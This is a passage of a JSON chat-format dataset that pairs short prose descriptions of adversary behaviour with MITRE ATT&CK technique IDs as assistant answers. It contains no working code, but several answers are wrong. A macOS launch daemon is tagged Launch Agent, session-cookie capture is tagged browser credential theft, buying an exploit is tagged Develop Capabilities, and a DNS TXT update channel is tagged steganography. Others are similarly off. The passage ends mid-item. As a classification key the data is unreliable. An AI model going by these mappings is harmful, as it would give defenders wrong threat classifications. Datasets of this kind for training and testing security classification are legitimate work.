                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group registers a new domain and uses a third‑party web hosting service to host malicious scripts."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor performs process injection by creating a remote thread, then uses QueueUserAPC to enqueue malicious code that runs during an I/O completion event."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a phishing email to obtain credentials, then accessed the organization’s OneDrive for Business and exfiltrated financial spreadsheets."
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware deletes all Volume Shadow Copy snapshots to prevent system restoration after compromise."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a distributed scanning botnet to enumerate live IP addresses across the target's external range."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a browser automation tool to programmatically log into websites and capture session cookies."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages Reflective DLL injection to run a PE payload inside explorer.exe without touching disk."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group sets up a new server on a cloud platform to host phishing landing pages."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant encrypts and rewrites critical system configuration files to disrupt normal operations."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor registers a malicious DLL as an AppCert DLL, causing the system to load it during the execution of a trusted application."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By utilizing the Mavinject command-line tool, the attacker injects a custom DLL into the rundll32.exe process, allowing execution of arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating the files, the threat group used a low‑level utility to perform a full disk content wipe to cover their tracks."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a persistent launch daemon by modifying /Library/LaunchDaemons/com.evil.service.plist."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a red team exercise, a simulated attack involved deploying a payload that carries a valid-looking but actually invalid code signature, aiming to bypass endpoint protection by masquerading as a trusted executable."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload executes a WMI query for Win32_ComputerSystem.ProductName to detect strings like \"VirtualBox\" or \"VMware\"."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employed the Clear-EventLog PowerShell command to wipe the Application and Security logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a malicious .exe file named \"Invoice.pdf.exe\" that the victim double‑clicks, causing the payload to run on their system."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant encrypts files and, before execution, captures a short video clip using the default camera to intimidate the victim."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set copies the configuration files of a password manager and uses a known decryption key to recover the stored credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a script that calls the DsEnumerateDomainTrusts API to map trusted domains."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign uses a TFTP boot attack, where the victim's device pulls an infected PXE configuration file that loads unauthorized code before the OS starts."
            },
            {
                "role": "assistant",
                "content": "T1542.005 - Pre-OS Boot: TFTP Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Security analysts observed a malicious HTML document that leverages a self‑extracting JavaScript payload hidden in the page’s style attribute, which decodes and writes a malicious payload to the filesystem, typical of HTML smuggling."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use reversible encryption to hide stolen credentials in memory, then decrypt them on demand to authenticate to privileged services."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages the Linux \"arp-scan\" tool to identify active IP addresses on the local ethernet segment."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used a compromised Twitter DM to deliver a malicious PDF that executes a PowerShell script when opened."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious BPF program, the actor manipulates traffic flows by filtering packets based on IP address, enabling covert command‑and‑control."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By hijacking XPC service connections, the threat actor injects malicious commands into a system service, allowing remote code execution."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that enumerates all attached USB devices to identify removable storage for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors rent a VPS in a foreign country to evade jurisdiction."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious Chrome extension requests camera permissions to record video and posts it to a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploited the factory default password 'root' to gain privileged access to the device."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed the 'lsof -i' command on a Unix machine to list open network files and associated processes as part of discovery."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses cron to schedule the execution of a PowerShell payload disguised as a system maintenance script on compromised Linux workstations."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs reflective PE loading to map a malicious executable directly into the memory of a running system process without touching disk."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider adds an unauthorized script tag into the site’s header template, creating a persistent content injection point."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker calls the CreateProcessWithTokenW API after obtaining a high-privilege token to launch a malicious command shell."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access to a database server, the intruder creates a port‑forwarding rule that routes internal database queries to an external listener they control."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan sets its own signal handling routine to ignore all interrupt signals, making it resistant to normal shutdown commands."
            },
            {
                "role": "assistant",
                "content": "T1564.011 - Hide Artifacts: Ignore Process Interrupts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group utilizes the Windows Service Control Manager to create and start a new service that runs malicious code."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor hides its update package inside the data payload of a legitimate DNS TXT record, retrieving it via DNS queries."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor applies VBA stomping to a shared document, overwriting its VBA macros with malicious code to hide the infection from users."
            },
            {
                "role": "assistant",
                "content": "T1564.007 - Hide Artifacts: VBA Stomping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries examine the victim’s public procurement notices and contract award announcements to pinpoint times of increased operational tempo."
            },
            {
                "role": "assistant",
                "content": "T1591.003 - Gather Victim Org Information: Identify Business Tempo"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages a VBScript payload delivered through a phishing email attachment to run arbitrary commands."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker exploits a remote desktop protocol (RDP) service exposed to the internet using weak passwords to gain foothold."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload leverages OS-level hooks to capture both keystrokes and clipboard contents during user activity."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious macro in a document triggers a routine that reads saved passwords from the Safari password manager."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor sets up a disposable phone number service for use in social engineering."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using credential stuffing against the site’s admin login, attackers gained access and posted defacement messages on the homepage."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary employs the Windows 'at' scheduler to execute a WMI query that extracts system information at a specific time."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs reflective DLL injection by allocating memory in a remote process and copying a list of malicious sections before transferring control."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses encrypted VNC tunnels to evade detection while controlling compromised endpoints."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining limited access, the attacker changed the service's startup type to \"Automatic\" and modified its executable path to a malicious file they could write to."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leveraged the Linux systemd service manager to spawn a backdoor process via systemctl start."
            },
            {
                "role": "assistant",
                "content": "T1569.002 - System Services: Service Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker purchases an exploit for an IoT device firmware vulnerability to develop new entry points into target networks."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts a reflection-based DDoS by utilizing open routers that respond to ICMP echo requests with oversized replies to the victim."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker deployed a web shell on a compromised e‑commerce site, enabling the theft of customers’ payment card details and subsequent sale on underground markets."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised credential was used to query the Azure portal for group objects through the REST endpoint /v1.0/groups."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker installed a background service that zips system files every hour and exfiltrates them to a remote FTP server."
            },
            {
                "role": "assistant",
                "content": "T1020 - Automated Exfiltration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the Kerberos ticket-granting service settings to issue forged tickets that grant elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1556 - Modify Authentication Process"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on an endpoint harvested stored S/MIME certificates from users’ mail clients to sign spoofed encrypted emails."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware collects the output of \"nltest /domain_trusts\" to enumerate domain trust configurations."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the Cisco CDP (Cisco Discovery Protocol) to pull device adjacency data, mapping out the organization's network diagram."
            },
            {
                "role": "assistant",
                "content": "T1590.004 - Gather Victim Network Information: Network Topology"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate data by automatically syncing files to a networked external drive when inserted."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages the AppCert DLL feature to achieve persistence, loading their payload each time the associated application starts."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary altered the configuration of the victim's cloud compute resources, creating persistent compute instances with backdoors."
            },
            {
                "role": "assistant",
                "content": "T1578 - Modify Cloud Compute Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Linux-based Trojan uses the ptrace system call to perform process injection and bypass security controls."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary encrypts payloads with a custom XOR cipher before dropping them on the target."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits the lack of ARP integrity checks, sending bogus ARP packets to hijack data flows."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed a botnet to query social media APIs, aggregating location data and employment details of individuals associated with the target entity."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages a browser extension to gain access to the user's saved credentials across multiple browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses schtasks.exe to schedule a command that downloads additional stages from a remote server."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs virtualization/sandbox evasion checks by querying hypervisor identifiers before proceeding."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker accessed the configuration repository and downloaded the entire set of switch configs."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a public DNS resolver to obscure the source of its domain resolution queries."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the LSA Secrets to retrieve service account credentials stored on the system."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign includes a step where the operator logs into victim machines via SSH using compromised credentials."
            },
            {
                "role": "assistant",
